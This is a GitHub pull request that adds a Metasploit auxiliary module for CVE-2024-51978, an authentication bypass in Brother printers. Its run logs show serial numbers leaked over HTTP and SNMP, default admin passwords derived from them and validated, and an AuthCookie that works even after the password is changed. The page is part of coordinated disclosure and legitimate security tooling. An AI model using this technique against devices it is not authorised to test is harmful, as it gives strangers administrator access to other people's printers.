

 rapid7 / **metasploit-framework** Public[Code](#) [Issues](#) 489 [Pull requests](#) 105 [Discussions](#) [Actions](#) [Projects](#)

Add auxiliary module for multiple Brother devices authentication bypass (CVE-2024-51978) #20349

 Mergedbwatters-r7 merged 15 commits into `rapid7:master` from`sfewer-r7:0day-cve-2024-51978`  on Jul 9, 2025[Conversation](#) 21 [Commits](#) 15 [Checks](#) 19 [Files changed](#) 2sfewer-r7 commented [on Jun 25, 2025](#)Contributor

Overview

This pull request adds a new auxiliary module for [CVE-2024-51978](#), an authentication bypass affecting 691 known models of Brother devices (and a few models from at least one other vendor).

The premise is a remote unauthenticated attacker can leak a vulnerable target device's serial number via one of several means HTTP/HTTPS/IPP (via [CVE-2024-51977](#)), or SNMP, or PjL. The serial number can be transformed into the target devices default administrator password (i.e. the complex password found on the sticker attached to the device). If the device has not had its default admin password changed, the attacker can then successfully login to the target device with this default credential.

For more information please read our Rapid7 disclosure blog here (which also links out to our technical analysis white paper): <https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed/>

Example

```
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > run
[*] Running module against 192.168.86.62
[*] Attempting to leak serial number via HTTP
[-] Unexpected HTTP response code: 302
[*] Attempting to leak serial number via SNMP
[*] Leaked target serial number via SNMP: *****
[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk'
[*] Generated password value: r/5LM&U>
```

```

[*] Attempting to validate password
[+] Successfully validated the administrator password: r/5LM&U>
[*] Auxiliary module execution completed
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) >

```



sfewer-r7 added 3 commits [9 months ago](#)

[aux module for CVE-2024-51978](#) 83a03ef

[add in references](#) edea803

[use Base64.strict_encode64](#) 14191f6

dledda-r7 self-assigned this [on Jun 25, 2025](#)

dledda-r7 added module docs labels [on Jun 25, 2025](#)

jvoisin reviewed [on Jun 25, 2025](#)

[View reviewed changes](#)

```
modules/auxiliary/admin/misc/brother_default_admin_auth_by
pass_cve_2024_51978.rb
```

Outdated Show resolved

```
modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024
_51978.rb
```

Outdated

```

273 + unless salt_data && salt_lookup_index != 0
274 +   salt_table_index = SALT_LOOKUP_TABLE[salt_lookup_index]
275 +
276 +   fail_with(Failure::BadConfig, 'unknown salt table data at salt ta

```

jvoisin [on Jun 25, 2025](#) Contributor

Suggested change

```

-   fail_with(Failure::BadConfig, 'unknown salt table data at salt
table index') unless SALT_DATA_TABLE[salt_table_index]

```

```

+         fail_with(Failure::BadConfig, "unknown salt table data at salt
table index #{salt_table_index}') unless
SALT_DATA_TABLE[salt_table_index]

```



sfewer-r7 on Jun 26, 2025

Contributor Author

resolved via [6bdebf6](#). (The above suggestion was missing a double quote)

modules/auxiliary/admin/misc/brother_default_admin_auth_by
pass_cve_2024_51978.rb

Outdated

Show resolved

modules/auxiliary/admin/misc/brother_default_admin_auth_by
pass_cve_2024_51978.rb

Outdated

Show resolved

modules/auxiliary/admin/misc/brother_default_admin_auth_by
pass_cve_2024_51978.rb

Outdated

Show resolved

modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.rb

```

376 +         return Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
377 +     end
378 +
379 +     auth_cookie = res&.get_cookies&.match(%r{AuthCookie=( [a-zA-Z0-9/+

```



jvoisin on Jun 25, 2025

Contributor

Suggested change

```

379 -     auth_cookie = res&.get_cookies&.match(%r{AuthCookie=( [a-zA-Z0-
9%/+='\-\r\n]+);})
379 +     auth_cookie = res&.get_cookies&.match(%r{AuthCookie=( [^;]+);})

```

It's a tad more readable, albeit I'm not sure the regex will match/matched on new lines.

adfoster-r7 commented on Jun 26, 2025

Contributor

@dledda-r7 If you get access to a test target, it'd be great to see if this can be detected and auto-exploited in Metasploit Pro 👍



smcintyre-r7 reviewed on Jun 26, 2025

View reviewed changes

```
modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.rb
```

Show resolved

sfewer-r7 and others added 6 commits 9 months ago

- This resolves the 'Proto is not included in the list' error during cr... c6ffcdb
- include the password in the verbose status message f66389b
- fail with a message that includes the unexpected length value a7b26ac
- this status message should explicitly say it has generated the *defau... 84dda69
- add the salt_table_index value in the failure message 6bdebf6
- Use a more permissive regex to pull out the logbox name value 18b00ce

dledda-r7 removed their assignment on Jun 27, 2025

dledda-r7 reviewed on Jul 1, 2025

View reviewed changes

```
modules/auxiliary/admin/misc/brother_default_admin_auth_by_pass_cve_2024_51978.rb
```

Outdated Show resolved

```
modules/auxiliary/admin/misc/brother_default_admin_auth_by_pass_cve_2024_51978.rb
```

Outdated Show resolved

```
modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.rb
138 +
139 +     serial_no_index = nil
140 +
141 +     csv = CSV.parse(res.body)
```

dledda-r7 on Jun 26, 2025 Contributor

Can we ensure we always have `res.body != nil` ?

sfewer-r7 on Jul 1, 2025 Contributor Author

I think it will always be a string. A `Rex::Proto::Http::Response` inherits from `Rex::Proto::Http::Packet`, and the `initialize` method calls `reset`:

[metasploit-framework/lib/rex/proto/http/packet.rb](#)

Line 43 in [eb63882](#)

```
43     reset
```

and `reset` will set the body to an empty string:

[metasploit-framework/lib/rex/proto/http/packet.rb](#)

Line 119 in [eb63882](#)

```
119     self.body = ''
```

also looking at `read_response` in the `Rex::Proto::Http::Client` which the helper method `send_request_cgi` ends up calling, we can see it will read from the response body, so if it was nil, the exception would likely occur earlier in that method.

 **sfewer-r7** and others added 3 commits [9 months ago](#)

  [favor AUTO over ANY for this enum](#) ... [14512d7](#)

  [favor AUTO over ANY for this enum usage](#) ... [5635484](#)

  [update the docs to use AUTO for the enum option](#) ... [a7e4b56](#)

  **bwatters-r7** self-assigned this [on Jul 7, 2025](#)

bwatters-r7 commented [on Jul 7, 2025](#)

Contributor

```
[-] Failed to extract login form LogBox name.
```

► Using MFC-L2740DW

bwatters-r7 commented [on Jul 8, 2025](#)

Contributor

OK- so it looks like you have to supply a password for the validation to work.

```
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > run
[*] Running module against 10.5.132.115
[*] Attempting to leak serial number via HTTP
```



```

[*] Leaked target serial number via HTTP: U63889E5N197461
[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk'
[*] Generated default password value: w#2PB/@h
[*] Attempting to validate password 'w#2PB/@h'
[+] Successfully validated the administrator password: w#2PB/@h
[!] No active DB -- Credential data will not be saved!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > show
options

```

Module options

(auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978):

Name	Current Setting	Required	Description
-----	-----	-----	-----
COMMUNITY	public	yes	SNMP Community String
PJL_RPORT	9100	yes	The target port number for PJL
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, http, socks4, socks5, socks5h
RETRIES	1	yes	SNMP Retries
RHOSTS	10.5.132.115	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	443	yes	The target port (TCP)
SNMP_OID_SERIALNO	1.3.6.1.2.1.43.5.1.1.17.1	yes	The SNMP OID for the serial number
SNMP_RPORT	161	yes	The target port number for SNMP
SSL	true	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The base URI path to the web admin console
TIMEOUT	1	yes	SNMP Timeout
VERSION	1	yes	SNMP Version <1/2c>
VHOST		no	HTTP server virtual host

View the full module info with the info, or info -d command.

```

msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > run
[*] Running module against 10.5.132.115
[*] Attempting to leak serial number via HTTP
[*] Leaked target serial number via HTTP: U63889E5N197461
[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk'
[*] Generated default password value: w#2PB/@h
[*] Attempting to validate password 'w#2PB/@h'
[+] Successfully validated the administrator password: w#2PB/@h
[!] No active DB -- Credential data will not be saved!
[*] Auxiliary module execution completed

```



sfewer-r7 commented on Jul 9, 2025

Contributor Author

Thanks Brendan, that's wild. So for this model, if a user sets a new admin password, we can still generate a valid AuthCookie using this module. I tried to manually login to the web panel via a browser by entering the generated default password in the login page and that does not work, but I manually added the newly minted AuthCookie cookie header to a Burp proxy session and then successfully got access to the admin panel. This begs more questions than answers.

It would be useful for the module to report the AuthCookie if validate_password returned one. I will add a commit to do that.



display the AuthCookie if one is received

34952d7

bwatters-r7 commented on Jul 9, 2025

Contributor

msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > show options



Module options

(auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978):




Name	Current Setting	Required	Description
COMMUNITY	public	yes	SNMP Community String
PJL_RPORT	9100	yes	The target port number for PJL
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RETRIES	1	yes	SNMP Retries
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT	443	yes	The target port (TCP)
SNMP_OID_SERIALNO	1.3.6.1.2.1.43.5.1.1.17.1	yes	The SNMP OID for the serial number
SNMP_RPORT	161	yes	The target port number for SNMP
SSL	true	no	Negotiate SSL/TLS for

```
outgoing connections
  TARGETURI      /                yes      The base URI path to the
web admin console
  TIMEOUT        1               yes      SNMP Timeout
  VERSION        1               yes      SNMP Version <1/2c>
  VHOST          no              HTTP server virtual host
```

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > set
verbose true
verbose => true
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > set
rhost 10.5.132.115
rhost => 10.5.132.115
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > run
[*] Running module against 10.5.132.115
[*] Attempting to leak serial number via HTTP
[*] Leaked target serial number via HTTP: U63889E5N197461
[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk'
[*] Generated default password value: w#2PB/@h
[*] Attempting to validate password 'w#2PB/@h'
[*] Received an AuthCookie value: 19da98c475a2fab1e6b3878762ff536b
[+] Successfully validated the administrator password: w#2PB/@h
[!] No active DB -- Credential data will not be saved!
[*] Auxiliary module execution completed
```

 **sfewer-r7** added 2 commits [8 months ago](#)

  [make this error message not that no password may be present on the de...](#)  [ab913b0](#)

  [fix typo in message](#)  [df24090](#)



 **bwatters-r7** approved these changes [on Jul 9, 2025](#)

[View reviewed changes](#)

  **bwatters-r7** merged commit [36675cc](#) into [rapid7:master](#) [on Jul 9, 2025](#)

18 checks passed

[View details](#)

  **cdelafuente-r7** added the [rn-modules](#) label [on Jul 11, 2025](#)

cdela Fuente-r7 commented on [Jul 11, 2025](#)


Contributor

Release Notes

This adds a new auxiliary module that leverages [CVE-2024-51978](#), an authentication bypass vulnerability impacting 691 known Brother device models. This exploit enables a remote attacker to generate the administrator password by leaking the device's serial number, which can be obtained via unauthenticated HTTP, HTTPS, IPP, SNMP, or PjL requests.

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

Reviewers

-  **smcintyre-r7** 
-  **dledda-r7** 
-  **bwatters-r7** 
- +1 more reviewer 
-  **jvoisin** 

Assignees

-  **bwatters-r7**

Labels

- docs
- module
- rn-modules

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

7 participants

